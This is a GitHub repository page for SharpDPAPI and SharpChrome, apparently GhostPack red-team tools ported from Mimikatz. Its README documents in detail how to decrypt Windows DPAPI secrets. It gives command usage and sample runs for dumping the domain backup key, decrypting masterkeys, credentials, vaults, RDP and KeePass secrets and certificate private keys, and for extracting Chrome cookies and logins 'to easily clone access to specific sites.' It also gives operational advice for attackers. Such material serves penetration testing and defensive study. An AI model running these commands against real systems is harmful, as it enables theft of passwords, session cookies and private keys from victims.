Sign in

GhostPack / **SharpDPAPI** Public

Notifications | Fork 207 | Star 1.2k

Code | Issues 8 | Pull requests 2 | Actions | Projects | Security | Insights

master | Go to file | Code

SharpChrome
SharpDPAPI
.gitignore
CHANGELOG.md
LICENSE
README.md
SharpDPAPI.sln

About

SharpDPAPI is a C# port of some Mimikatz DPAPI functionality.

Readme
View license
Activity
Custom properties
1.2k stars
34 watching
207 forks
Report repository

Releases

1 tags

Packages

No packages published

Contributors 12

README | License

SharpDPAPI

SharpDPAPI is a C# port of some DPAPI functionality from @gentilkiwi's Mimikatz project.

I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process and

operationalize it to fit our workflow.

The SharpChrome subproject is an adaptation of work from @gentilkiwi and @djhohnstein, specifically his SharpChrome project. However, this version of SharpChrome uses a different version of the C# SQL library that supports lockless opening. SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.

Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChrome.

SharpChrome also uses an minimized version of @AArnott's BCrypt P/Invoke code released under the MIT License.

If you're unfamiliar with DPAPI, check out this post for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's wiki entry on the subject.

@harmj0y is the primary author of this port.

SharpDPAPI is licensed under the BSD 3-Clause license.

Table of Contents

Languages

● C# 100.0%

Background

SharpDPAPI Command Line Usage

```
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.20.0

Retrieve a domain controller's DPAPI backup key,

  SharpDPAPI backupkey [/nowrap] [/server:SERVEI


The *search* comand will search for potential DI

    search /type:registry [/path:HKLM\path\to\k
    search /type:folder /path:C:\path\to\folder
    search /type:file /path:C:\path\to\file [/m
    search /type:base64 [/base:<base64 string>]


Machine/SYSTEM Triage:

    machinemasterkeys       -   triage all reacl
    machinecredentials      -   use 'machinemas
    machinevaults           -   use 'machinemas
    machinetriage           -   run the 'machin


User Triage:

    Arguments for the 'masterkeys' command:

        /target:FILE/folder     -   triage a sp
        /pvk:BASE64...          -   use a base6
        /pvk:key.pvk            -   use a DPAPI
        /password:X             -   decrypt the
        /ntlm:X                 -   decrypt the
        /credkey:X              -   decrypt the
        /rpc                    -   decrypt the
        /server:SERVER          -   triage a re
        /hashes                 -   output user


    Arguments for the credentials|vaults|rdg|ke

        Decryption:
            /unprotect          -   force use o
            /pvk:BASE64...      -   use a base6
            /pvk:key.pvk        -   use a DPAPI
            /password:X         -   decrypt the
            /ntlm:X             -   decrypt the
            /credkey:X          -   decrypt the
            /rpc                -   decrypt the
            GUID1:SHA1 ...      -   use a one o
            /mkfile:FILE        -   use a file 

        Targeting:
            /target:FILE/folder -   triage a sp
            /server:SERVER      -   triage a re
                                    Note: must 
                                    Note: not a


Certificate Triage:

    Arguments for the 'certificates' command:
        /showall
        /machine
        /mkfile | /target
        [all decryption args from User Triage a


Note: in most cases, just use *triage* if you'r
      These functions wrap all the other applic
```

SharpChrome Command Line Usage

```
  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_
                |
  v1.9.0


Retrieve a domain controller's DPAPI backup key


  SharpChrome backupkey [/nowrap] [/server:SERV



Global arguments for the 'cookies', 'logins', a
```

```
    Decryption:
        /unprotect          -   force use of Cr
        /pvk:BASE64...      -   use a base64'ed
        /pvk:key.pvk        -   use a DPAPI dom
        /password:X         -   decrypt the tar
        /ntlm:X             -   decrypt the tar
        /prekey:X           -   decrypt the tar
        /rpc                -   decrypt the tar
        GUID1:SHA1 ...      -   use a one or mo
        /statekey:X         -   a decrypted AES

    Targeting:
        /target:FILE        -   triage a specif
        /target:C:\Users\X\ -   triage a specif
        /server:SERVER      -   triage a remote
        /browser:X          -   triage 'chrome'

    Output:
        /format:X           -   either 'csv' (d
        /showall            -   show Login Data
        /consoleoutfile:X   -   output all cons


  'cookies' command specific arguments:

        /cookie:"REGEX"     -   only return coo
        /url:"REGEX"        -   only return coo
        /format:json        -   output cookie v
        /setneverexpire     -   set expirations
```

Operational Usage

SharpDPAPI

One of the goals with SharpDPAPI is to operationalize Benjamin's DPAPI work in a way that fits with our workflow.

How exactly you use the toolset will depend on what phase of an engagement you're in. In general this breaks into "have I compromised the domain or not".

If domain admin (or equivalent) privileges have been obtained, the domain DPAPI backup key can be retrieved with the backupkey command (or with Mimikatz). This domain private key never changes, and can decrypt any DPAPI masterkeys for domain users. This means, given a domain DPAPI backup key, an attacker can decrypt masterkeys for any domain user that can then be used to decrypt any Vault/Credentials/Chrome Logins/other DPAPI blobs/etc. The key retrieved from the backupkey command can be used with the masterkeys, credentials, vaults, rdg, or triage commands.

If DA privileges have not been achieved, using Mimikatz' `sekurlsa::dpapi` command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running `dpapi::cache` after key extraction will give you a nice table). If you change these keys to a `{GUID1}:SHA1 {GUID2}:SHA1...` type format, they can be supplied to the credentials, vaults, rdg, or triage commands. This lets you triage all Credential files/Vaults on a system for any user who's currently logged in, without having to do file-by-file decrypts.

Alternatively, if you can supply a target user's password, NTLM hash, or DPAPI prekey for user-command with `/password:X`, `/ntlm:X`, or `/prekey:X` respectively. The `dpapi` field of Mimikatz' `sekurlsa::msv` output for domain users can be used as the `/prekey`, while the `sha1` field of `sekurlsa::msv` output can be used as the `/prekey` for local users.

For decrypting RDG/RDCMan.settings files with the rdg command, the `/unprotect` flag will use CryptUnprotectData() to decrypt any saved RDP passwords, *if* the command is run from the user context who saved the passwords. This can be done from an *unprivileged* context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

For machine-specific DPAPI triage, the `machinemasterkeys|machinecredentials|machinevaults|mac` `hinetriage` commands will do the machine equivalent of user DPAPI triage. If in an elevated context (that is, you need local administrative rights), SharpDPAPI will elevate to SYSTEM privileges to retrieve the "DPAPI_SYSTEM" LSA secret, which is then used to decrypt any discovered machine DPAPI masterkeys. These keys are then used as lookup tables for machine credentials/vaults/etc.

For more offensive DPAPI information, check here.

SharpChrome

SharpChrome is a Chrome-specific implementation of SharpDPAPI capable of **cookies** and **logins** decryption/triage. It is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.

Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A `/pvk:[BASE64|file.pvk]`, {GUID}:SHA1 lookup table, `/password:X`, `/ntlm:X`, `/prekey:X`, or `/mkfile:FILE` of {GUID}:SHA1 values can also be used to decrypt values. Also, the C# SQL library used (with a few modifications) supports lockless opening, meaning that Chrome does not have to be closed/target files do not have to be copied to another location.

Alternatively, if you can supply a target user's password, NTLM hash, or DPAPI prekey for user-command with `/password:X`, `/ntlm:X`, or `/prekey:X` respectively. The `dpapi` field of Mimikatz' `sekurlsa::msv` output for domain users can be used as the `/prekey`, while the `sha1` field of `sekurlsa::msv` output can be used as the `/prekey` for local users.

If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. This is also the process when `/browser:edge` or `/browser:brave` is specified, for newer Chromium-based Edge browser triage.

By default, cookies and logins are displayed as a csv - this can be changed with `/format:table` for table output, and `/format:json` for cookies specifically. The json option outputs cookies in a json format that can be imported into the EditThisCookie Chrome extension for easy reuse.

The **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to only return cookie names or urls matching the supplied regex. This is useful with `/format:json` to easily clone access to specific sites.

Specific cookies/logins/statekey files can be specified with `/target:X`, and a user folder can be specified with `/target:C:\Users\USER\` for any triage command.

SharpDPAPI Commands

User Triage

masterkeys

The **masterkeys** command will search for any readable user masterkey files and decrypt them using a supplied domain DPAPI backup key. It will return a set of masterkey {GUID}:SHA1 mappings.

`/password:X` can be used to decrypt a user's current masterkeys. Note that for domain-joined machines, the password can be supplied in either plaintext or NTLM format. If `/target` is also supplied with `/password`, the `/sid:X` full domain SID of the user also needs to be specified.

The domain backup key can be in base64 form (`/pvk:BASE64...`) or file form (`/pvk:key.pvk`).

```
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Triage User Masterkey Files

[*] Found MasterKey : C:\Users\admin\AppData\Ro
[*] Found MasterKey : C:\Users\harmj0y\AppData\
...(snip)...

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894
...(snip)...
```

If no `/pasword` or `/pvk` is specified, you may pass the `/hashes` flag to dump the master key hashes in John/Hashcat format. In this mode, the hashes are printed in the format of `{GUID}:DPAPImk`.

The `Preferred` key is also parsed in order to highlight the current preferred master key, so that effort is not spent cracking older keys.

```
C:\Temp>SharpDPAPI.exe masterkeys /hashes


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Action: User DPAPI Masterkey File Triage

[*] Will dump user masterkey hashes

[*] Found MasterKey : C:\Users\admin\AppData\Ro
[*] Found MasterKey : C:\Users\harmj0y\AppData\
...(snip)...

[*] Preferred master keys:

C:\Users\admin\AppData\Roaming\Microsoft\Protec
C:\Users\harmj0y\AppData\Roaming\Microsoft\Prot


[*] User master key hashes:

{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk
```

credentials

The **credentials** command will search for Credential files and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.

A specific credential file (or folder of credentials) can be specified with `/target:FILE` or `/target:C:\Folder\`. If a file is specified, {GUID}:SHA1 values are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

If run from an elevated context, Credential files for ALL users will be triaged, otherwise only Credential files for the current user will be processed.

Using domain {GUID}:SHA1 masterkey mappings:

```
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-90


  __                  _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Mi

  CredFile           : 48C08A704ADBA03A93CD7EC5I

    guidMasterKey    : {885342c6-028b-4ecf-82b2
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

  ...(snip)...
```

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

```
 C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAA


   __                 _   _       _ ___
  (_  |_   _. ._ ._  | \ |_) /\  |_) |
  __) | | (_| |  |_) |_/ |  /--\ |  _|_
                 |
   v1.2.0


 [*] Action: User DPAPI Credential Triage

```

```
[*] Using a domain DPAPI backup key to triage ma

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894
...(snip)...

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\M

  CredFile           : 48C08A704ADBA03A93CD7EC5

    guidMasterKey    : {885342c6-028b-4ecf-82b2
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

...(snip)...
```

vaults

The **vaults** command will search for Vaults and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.

The Policy.vpol folder in the Vault folder is decrypted with any supplied DPAPI keys to retrieve the associated AES decryption keys, which are then used to decrypt any associated .vcrd files.

A specific vault folder can be specified with `/target:C:\Folder\`. In this case, either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

Using domain {GUID}:SHA1 masterkey mappings:

```
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-45!
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppI

  VaultID            : 4bf4c442-9b8a-41a0-b380-(
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F(
    aes256 key       : 84CD64B5F438B8B9DA15238A!

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...
```

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

```
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAA
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage m

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C80289
...(snip)...

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\App

  VaultID            : 4bf4c442-9b8a-41a0-b380-
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F
    aes256 key       : 84CD64B5F438B8B9DA15238A

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...
```

Using a domain DPAPI backup key with a folder specified (i.e. "offline" triage):

```
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\t


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage m

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C80289
...(snip)...

[*] Target Vault Folder: C:\Temp\test\


[*] Triaging Vault folder: C:\Temp\test\

  VaultID            : 4bf4c442-9b8a-41a0-b380-
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F
    aes256 key       : 84CD64B5F438B8B9DA15238A

    LastWritten      : 3/20/2019 6:03:50 AM
    FriendlyName     : Internet Explorer
    Identity         : account
    Resource         : http://www.abc.com/
    Authenticator    : password
```

rdg

The **rdg** command will search for RDCMan.settings files for the current user (or if elevated, all users) and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.

The `/unprotect` flag will use CryptUnprotectData() to decrypt any saved RDP passwords, *if* the command is run from the user context who saved the passwords. This can be done from an *unprivileged* context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

A specific RDCMan.settings file, .RDC file (or folder of .RDG files) can be specified with `/target:FILE` or `/target:C:\Folder\`. If a file is specified, {GUID}:SHA1 values (or `/unprotect`) are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

This command will decrypt any saved password information from both the RDCMan.settings file and any .RDG files referenced by the RDCMan.settings file.

Using `/unprotect` to decrypt any found passwords:

```
C:\Temp>SharpDPAPI.exe rdg /unprotect


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0
```

```
[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG pa

[*] Triaging RDCMan Settings Files for current u

    RDCManFile    : C:\Users\harmj0y\AppData\Loc
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!
```

Using domain {GUID}:SHA1 masterkey mappings:

```
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0
```

```
[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG pa

[*] Triaging RDCMan Settings Files for current u

    RDCManFile    : C:\Users\harmj0y\AppData\Loc
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!
```

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

```
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAA


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using a domain DPAPI backup key to triage ma

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894
...(snip)...

[*] Triaging RDCMan.settings Files for ALL user

    RDCManFile    : C:\Users\harmj0y\AppData\Lo
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm.a
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.loca

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!
```

keepass

The **keepass** command will search for KeePass ProtectedUserKey.bin files for the current user (or if elevated, all users) and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.

The `/unprotect` flag will use CryptUnprotectData() to decrypt the key bytes, *if* the command is run from the user context who saved the passwords. This can be done from an *unprivileged* context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

A specific ProtectedUserKey.bin file, .RDC file (or folder of .RDG files) can be specified with `/target:FILE` or `/target:C:\Folder\` . If a file is specified, {GUID}:SHA1 values (or `/unprotect`) are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

Decrypted key file bytes can be used with the modified KeePass version in KeeThief.

Using `/unprotect` to decrypt any found key material:

```
C:\Temp> SharpDPAPI.exe  keepass /unprotect


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


```

```
[*] Action: KeePass Triage

[*] Using CryptUnprotectData() for decryption.

[*] Triaging KeePass ProtectedUserKey.bin files

    File               : C:\Users\harmj0y\AppData
    Accessed           : 3/1/2021 1:38:22 PM
    Modified           : 1/4/2021 5:49:49 PM
    guidMasterKey      : {dab90445-0a08-4b27-9110
    size               : 210
    flags              : 0x0
    algHash/algCrypt   : 32772 (CALG_SHA) / 26115
    description        :
    Key Bytes          : 39 2E 63 EF 0E 37 E8 5C 


SharpDPAPI completed in 00:00:00.0566660
```

certificates

The **certificates** command will search user encrypted DPAPI certificate private keys a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.

The `/unprotect` flag will use CryptUnprotectData() to decrypt private keys, *if* the command is run from the user context whose certificates you are trying to access. This can be done from an *unprivileged* context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

A specific certificate can be specified with `/target:FILE` or `/target:C:\Folder\`. In both cases, {GUID}:SHA1 values (or

`/unprotect`) are required or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

By default, only private keys linkable to an associated installed certificate are displayed. The `/showall` command will display ALL decrypted private keys.

Use the `/cng` flag for CNG private keys (default is capi).

Using domain {GUID}:SHA1 masterkey mappings:

```
C:\Temp> SharpDPAPI.exe certificates {dab90445-(


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage

Folder       : C:\Users\harmj0y\AppData\Roaming'

  File               : 34eaff3ec61d0f012ce1a0cb4

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a
    Master Key GUID  : {dab90445-0a08-4b27-9110
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b37
    HMAC             : 5c3c3da2a4f6548a0186c22f
    Unique Name      : te-UserMod-8c8e0236-76ca

    Thumbprint       : 98A03BC583861DCC19045758
    Issuer           : CN=theshire-DC-CA, DC=th
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.
         [!] Certificate is used for client aut
        Secure Email (1.3.6.1.5.5.7.3.4)
```

```
          Encrypting File System (1.3.6.1.4.1.311

      [*] Private key file 34eaff3ec61d0f012ce1a0

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip
-----END CERTIFICATE-----
```

Using `/unprotect` to decrypt any found user certificates:

```
C:\Temp> SharpDPAPI.exe certificates /unprotect


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3



[*] Action: Certificate Triage

[*] Using CryptUnprotectData() for decryption.


Folder       : C:\Users\harmj0y\AppData\Roaming

  File               : f29fa2bb6de62b7d966a407e

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a
    Master Key GUID  : {27db0044-e2aa-4ea2-b2c0
    Description      : Private Key
    algCrypt         : CALG_AES_256 (keyLen 256
    algHash          : CALG_SHA_512 (32782)
    Salt             : d7e1e00ed8a6249b5f05c487
    HMAC             : 4869f296cdcc964262a57e2e
    Unique Name      : {4A07001C-57BE-4E8B-86D1

    Thumbprint       : BBD9B90FE1A4E37BD646CBC9
    Issuer           : CN=theshire-DC-CA, DC=th
    Subject          : CN=harmj0y
    Valid Date       : 10/18/2022 11:40:07 AM
    Expiry Date      : 10/18/2023 12:00:07 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.
         [!] Certificate is used for client aut
        Server Authentication (1.3.6.1.5.5.7.3.

    [*] Private key file f29fa2bb6de62b7d966a40

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----
```

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

```
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sA
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage
[*] Using a domain DPAPI backup key to triage m


[*] User master key cache:

{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF743




Folder       : C:\Users\harmj0y\AppData\Roaming

  File               : 34eaff3ec61d0f012ce1a0cb

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a
    Master Key GUID  : {dab90445-0a08-4b27-9110
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
```

```
      Salt             : ef98458bca7135fe1bb89b37
      HMAC             : 5c3c3da2a4f6548a0186c22f
      Unique Name      : te-UserMod-8c8e0236-76ca

      Thumbprint       : 98A03BC583861DCC19045758
      Issuer           : CN=theshire-DC-CA, DC=th
      Subject          : CN=harmj0y
      Valid Date       : 2/22/2021 2:19:02 PM
      Expiry Date      : 2/22/2022 2:19:02 PM
      Enhanced Key Usages:
          Client Authentication (1.3.6.1.5.5.7.3.
           [!] Certificate is used for client aut
          Secure Email (1.3.6.1.5.5.7.3.4)
          Encrypting File System (1.3.6.1.4.1.311

      [*] Private key file 34eaff3ec61d0f012ce1a0

  -----BEGIN RSA PRIVATE KEY-----
  MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip
  -----END RSA PRIVATE KEY-----
  -----BEGIN CERTIFICATE-----
  MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip
  -----END CERTIFICATE-----
```

triage

The **triage** command runs the user credentials, vaults, rdg, and certificates commands.

Machine Triage

machinemasterkeys

The **machinemasterkeys** command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings.

Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).

```
C:\Temp>SharpDPAPI.exe machinemasterkeys


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0



[*] Action: Machine DPAPI Masterkey File Triage

[*] Elevating to SYSTEM via token duplication fo
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD084
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD084



[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4(
...(snip)...
```

machinecredentials

The **machinecredentials** command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Credential files.

Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).

```
C:\Temp>SharpDPAPI.exe machinecredentials


  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0
```

```
[*] Action: Machine DPAPI Credential Triage

